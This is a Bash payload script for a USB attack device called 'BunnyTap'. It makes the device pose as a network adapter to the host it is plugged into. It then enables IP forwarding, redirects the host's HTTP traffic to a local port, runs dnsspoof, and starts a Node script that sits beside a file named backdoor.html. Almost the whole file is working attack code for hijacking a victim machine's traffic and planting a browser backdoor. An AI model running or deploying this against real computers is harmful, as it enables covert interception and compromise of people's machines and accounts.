#!/bin/bash
#
# Title:         BunnyTap
# Author:        Whistle Master
# Version:       1.0

# Enable Ethernet (RNDIS = Windows, ECM = mac/*nix)
#ATTACKMODE RNDIS_ETHERNET
ATTACKMODE ECM_ETHERNET

##################################################################
#                  DO NOT EDIT BELOW THIS LINE                   #
##################################################################

# Sets up iptable forwarding and filters
function setupNetworking() {
    echo 1 > /proc/sys/net/ipv4/ip_forward
	/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j REDIRECT --to-port 1337
}

# Find payload directory and execute payload
function startBunnyTap() {
    cd $(dirname $(find /root/udisk/payloads/ -name backdoor.html))
	
	/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53
	/usr/bin/screen -dmS node /usr/bin/nodejs ./bunnytap.js
}

# Check for dnsspoof. If not found, blink WHITE and end.
if [ ! -x /usr/sbin/dnsspoof ]; then
  LED R G B 100
  exit 1
fi

LED G 200
setupNetworking
startBunnyTap
LED B 0